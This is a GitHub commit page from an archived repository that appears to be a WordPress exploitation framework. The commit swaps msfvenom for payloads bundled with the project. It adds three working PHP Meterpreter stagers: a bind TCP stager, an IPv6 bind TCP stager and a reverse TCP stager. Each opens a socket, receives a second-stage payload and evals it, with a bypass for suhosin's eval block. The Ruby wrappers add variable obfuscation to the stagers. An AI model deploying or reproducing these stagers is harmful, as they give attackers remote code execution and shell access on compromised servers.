Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit eff1caf

Browse files
committed
Remove use of msfvenom in favour of WPXF payload generation
1 parent 3befebb commit eff1caf

File tree

6 files changed

+24
-70
lines changed

6 files changed

+24
-70
lines changed

data/php/meterpreter_bind_tcp.php

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/*<?php /**/ error_reporting(0); if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ip}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ip, $port); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/*<?php /**/ error_reporting(0); if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ip}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET6, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET6, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ip, $port); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/*<?php /**/ error_reporting(0); if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

payloads/meterpreter_bind_tcp.rb

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -5,12 +5,10 @@ module Wpxf::Payloads
55
class MeterpreterBindTcp < Wpxf::Payload
66
include Wpxf
77
include Wpxf::Options
8-
include Wpxf::Payloads::MsfVenomHelper
98

109
def initialize
1110
super
1211

13-
register_msfvenom_options
1412
register_options([
1513
StringOption.new(
1614
name: 'rhost',
@@ -45,19 +43,22 @@ def use_ipv6
4543
end
4644

4745
def raw
48-
msfvenom_payload
49-
end
50-
51-
def msfvenom_payload_name
5246
if use_ipv6
53-
'php/meterpreter/bind_tcp_ipv6'
47+
DataFile.new('php', 'meterpreter_bind_tcp_ipv6.php').php_content
5448
else
55-
'php/meterpreter/bind_tcp'
49+
DataFile.new('php', 'meterpreter_bind_tcp.php').php_content
5650
end
5751
end
5852

59-
def prepare(mod)
60-
generate_msfvenom_payload(mod, msfvenom_payload_name, "RHOST=#{host}", "LPORT=#{lport}")
53+
def constants
54+
{
55+
'ip' => host,
56+
'port' => lport
57+
}
58+
end
59+
60+
def obfuscated_variables
61+
super + %w[ip port srvsock s s_type res b a len suhosin_bypass]
6162
end
6263
end
6364
end

payloads/meterpreter_reverse_tcp.rb

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -5,12 +5,10 @@ module Wpxf::Payloads
55
class MeterpreterReverseTcp < Wpxf::Payload
66
include Wpxf
77
include Wpxf::Options
8-
include Wpxf::Payloads::MsfVenomHelper
98

109
def initialize
1110
super
1211

13-
register_msfvenom_options
1412
register_options([
1513
StringOption.new(
1614
name: 'lhost',
@@ -35,11 +33,18 @@ def lport
3533
end
3634

3735
def raw
38-
msfvenom_payload
36+
DataFile.new('php', 'meterpreter_reverse_tcp.php').php_content
3937
end
4038

41-
def prepare(mod)
42-
generate_msfvenom_payload(mod, 'php/meterpreter/reverse_tcp', "LHOST=#{host}", "LPORT=#{lport}")
39+
def constants
40+
{
41+
'ip' => host,
42+
'port' => lport
43+
}
44+
end
45+
46+
def obfuscated_variables
47+
super + %w[ip port f s s_type res len a b suhosin_bypass]
4348
end
4449
end
4550
end

payloads/msfvenom_helper.rb

Lines changed: 0 additions & 55 deletions
This file was deleted.

0 commit comments

Comments
 (0)